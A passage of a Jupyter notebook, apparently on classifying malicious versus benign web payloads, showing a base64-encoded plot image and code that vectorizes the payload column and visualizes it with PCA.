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\nppjQFwAAAABJRU5ErkJggg==\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f155e49f7b8>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "X = count_vectorizer_1grams.fit_transform(payloads['payload'])\n",
    "Y = payloads['is_malicious']\n",
    "visualize_feature_space_by_projection(X,Y,title='PCA visualization of 1-grams CountVectorizer feature space')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 3-Grams TFIDFVectorizer feature space visualization"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "explained variance ratio (first two components): [ 0.00579326  0.00259541]\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAecAAAFXCAYAAACYx4YhAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XecVOW9+PHPOWf6zvZdlmUbsBQLKiKKiGjsFSUahRg1\nGluM8epVf8YUG6JiSzQaTXzFxMR4o8Z4Y7k3V8WGIipVROlbZ3fZ3qbPnPP8/jjswFIWWNrKft+v\n17LMnDLPzDN7vufpmlJKIYQQQogBQ9/fCRBCCCFEbxKchRBCiAFGgrMQQggxwEhwFkIIIQYYCc5C\nCCHEACPBWQghhBhgJDgPAIFAgIMPPpjzzz8/9XPeeefx6quvpvaJxWI8/vjjTJ8+nfPPP59p06bx\n7LPPsuVIuBdeeIGxY8eybNmyXU7He++9x+zZs3f7/Wzptdde47rrrgPgl7/8JZ9++mm/zlNbW8uN\nN94IQGNjIzNnztxjaezL3Xffzcknn8xvfvObXs/H43Huuusuzj77bM4++2zmzJmDaZr7JE27a/bs\n2anv2rhx4zjjjDNSj6PRKJdddhknn3xyr+/k+eefD/TOz9dee42jjjoqtX3atGlcdtllLF++PPVa\nd9xxB1OnTt3qXIsXL2bcuHE0NjZulb5p06bxzjvv9Ou9/eMf/+DFF1/c5eOuueYa1q1b16/X3JFn\nnnmG73znO/z85z/v1/Hd3d1cfvnlezhVYkBTYr+rra1V48eP7/Xchg0b1MSJE9XKlSuVZVnqRz/6\nkbrvvvtUNBpVSinV1tamLrroIvWb3/ym13Fnn322uvXWW9XNN9+8z9K/I//85z/Vtddeu9vn+eyz\nz9Q555yzB1K0a8aOHasaGhq2ev5Pf/qTuuGGG5RpmiqRSKiLL75Yvfnmm/s8fbvrpJNOUsuXL+/1\n3KWXXqr+/e9/b3P/zfNzW3k7f/58NWnSJBUIBJRSSv3sZz9Tf/zjH7d5rmuvvVY9/fTTvZ5bsmSJ\nOvHEE1UymezX++nr9faXk08+WS1cuLDfx2/rGiEObI79fXMgtq2goICysjKqqqro6uqioqKCZ599\nFsMwAMjOzubhhx+mrq4udcznn39OZ2cn/+///T9OO+00GhoaKCws3OrcM2fO5IorruDMM88E4NFH\nH0UpRXl5OW+//TZ/+MMfeOedd3jmmWfQNA3DMLj99ts5+uijueyyy/jBD36QOnbzx6+++iovv/wy\niUSCzs5OrrnmGi655JJer92zv2EYPPXUU6nna2pqOPXUU3nkkUf4/e9/z9y5c4nFYkQiEX72s59x\n8skn86tf/YrGxkauuuoq7r33XqZNm8bSpUtJJBLMmTOHBQsWYBgGhx9+OD//+c/x+/2cfPLJfPe7\n32XBggU0NDRw1llncfvtt2/1maxdu5ZZs2bR0dGBpmn86Ec/Yvr06VxyySUopbjmmmu4++67mThx\nYuqYK6+8kksvvRRd12lra6Orq4vMzMxt5ufy5cu55557SCQSlJaWUl9fzx133AHA/fffj8/nIxwO\n8+qrr/Lwww/z5ZdfEgqFUEoxe/ZsjjrqKO644w7cbjdfffUVLS0tnHXWWeTk5PDBBx/Q3NzM7Nmz\nmTx5MosWLWLOnDlYlgXAddddxxlnnLHjL90ectxxx3Haaafx97//ndtuu63PfS+55BJmz57Nj3/8\nYzRNA+CVV15hxowZGIZBPB7n0UcfZeHChZimySGHHMKvfvUr/H4/lZWV3HXXXbS1taHrOtdffz1O\np5P333+f+fPn4/F4uPjii/v8bhx++OGsXr2aW265hQcffJAnnniC5cuX88orr6TSuH79eq6++mpu\nvvlm3n//fZ555hkSiQQej4ef/exnHHnkkTz55JMsW7aMpqYmxo4dy6OPPpo6/uabb6axsZFf/vKX\n3HTTTUydOpX777+fNWvWkEgkmDx5MrfffjsOh2O7f0M///nPiUajnH/++bz22msccsghLFiwgJyc\nHADGjh3LggULWLt27Vbfp08++WSbad5cMpnkvvvuY8mSJTidToqLi3nwwQdpb2/nsssu45hjjmHV\nqlUopbjrrruYOHEiLS0t3HXXXbS2ttLc3ExRURGPP/44ubm528ybs88+m8bGRmbNmkVDQwOJRIJz\nzjmHH//4x3vqq3dg2b/3BkKpbd8VL1myRB199NGqvr5ePffcc+o//uM/dniem266Sc2ZM0cppdQ1\n11yjHn744W3u9+qrr6ZKO8lkUk2dOlVVVlb2KgWdcsopaunSpUoppT7++GP15JNPKqW2LlH1PA4G\ng+riiy9WbW1tSimlli5dmnpPm593WyWy9957T5122mmqublZBQIBddlll6lIJKKUUuqtt95S5557\nrlKqd8l588/siSeeUD/96U9VPB5XpmmqO+64Q915551KKbtU2POZbNiwQR122GGqpqam1+snEgl1\nyimnqLfffju139SpU9WSJUuUUkqNGTNGtba2bvdzf+SRR9T48ePVpZdeqsLh8FbbE4mEOuGEE9SH\nH36olFJqwYIFauzYseqzzz5Tn332mTrooINSpcwlS5aoG2+8UZmmqZRS6g9/+IO67rrrlFJ2ifCi\niy5S8XhcNTU1qTFjxqi//vWvSimlnn/+eXXllVcqpZS6/PLL1VtvvaWUUmrlypXqnnvu2W7aez6j\nbZWcTzrpJHXeeeelfnrSv6OSs1JK/e1vf1PXXHNNKt3HH398r3O98sorSimlTNNUp5xyivrss8+U\nUkp1dXWpo48+WrW0tCillHryySfVnDlzlGVZSimlHnvsMXX33XcrpZSaPn26+tvf/qaUUqq+vl6d\ncsopqru7u1fJeUffjaeeeqrPz+HFF19UF1xwgQqFQqqyslKde+65qe/4mjVr1JQpU1QoFFK//e1v\n1RlnnKESicQOP+M77rgjlW/JZFLddttt6tlnn+3zb2jLa8SW38mex1t+n/pK8+YWLlyozjzzzNTn\n/PDDD6vFixer2tpaNWbMGPXGG28opZT68MMP1ZQpU1Q8HlfPP/+8+sMf/qCUUsqyLHX11Ver5557\nrs+8ueyyy9R7772nlFIqGo2qyy67TP3P//zPNj+zwU5KzgNEz10xgGmaZGdn88gjj1BYWIiu61u1\nLW+pubmZuXPn8s9//hOA6dOnc88993DDDTfg8/l67XvWWWfx8MMP09zczDfffENZWRnDhw9nyZIl\nqX3OOeccfvrTn3LiiScyZcoUrrnmmj5fPy0tjd///vd89NFHVFVVsWrVKsLh8A7f97Jly7jnnnv4\n85//TF5eHgAPPfQQb775JtXV1akSZF/mzZvHf/7nf+J0OgG7dH7DDTektp9yyimAXRuRm5tLZ2cn\nJSUlqe1VVVXEYjFOP/301H6nn346H3/88VYljG257bbbuOmmm7jzzju55557eOihh3ptX7NmDQAn\nnngiAMceeyyjR49ObS8sLKSoqAiAI488kszMTF566SVqa2v5/PPPSUtLS+170kkn4XQ6yc/Px+fz\nMXXqVABKS0vp6OgA7PydNWsW77//Pscddxy33HLLDt/Dttx+++2pGpL+8Hg8qf9fccUVXHXVVVvt\no+s6M2fO5J///CeTJk3ijTfe4IQTTiA3NxeADz/8kO7u7lQ/hUQiQW5uLh0dHaxatYqLLroIsD/D\n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